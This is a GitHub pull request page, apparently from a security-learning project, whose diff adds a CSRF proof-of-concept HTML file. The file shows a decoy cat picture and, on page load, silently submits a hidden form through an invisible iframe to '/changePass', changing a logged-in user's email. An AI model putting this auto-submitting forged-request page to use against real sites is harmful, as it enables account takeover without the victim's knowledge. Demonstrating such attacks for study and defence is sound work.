Skip to content

CSRF #32

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
soppydart wants to merge 2 commits into
base: CSRF-&-ClickJacking
Choose a base branch
from
Open

CSRF #32

Changes from all commits
Commits
Show all changes
2 commits
Select commit Hold shift + click to select a range
4f4e25c
Merge pull request #31 from hacker4help/CSRF-&-ClickJacking
ParthShitole Jul 7, 2023
fb378b1
Added CSRF
soppydart Jul 7, 2023
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
20 changes: 20 additions & 0 deletions Html/CSRF.html
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
<html>
<!-- Changes the user account email when the user is logged into the website and visits this web page -->

<body>
<h1>Look at this cute cat!</h1>
<img src="../Images/cat.jpg" alt="Cute Cat">
<iframe style="display:none" name="csrf-iframe"></iframe>
<form action="/changePass" method="POST" target="csrf-iframe" id="csrf-form">
<!-- To be modified after the backend is done -->
<input type="hidden" name="email" value="testemail@test.ca">
</form>

<script>
window.onload = function () {
document.getElementById("csrf-form").submit();
};
</script>
</body>

</html>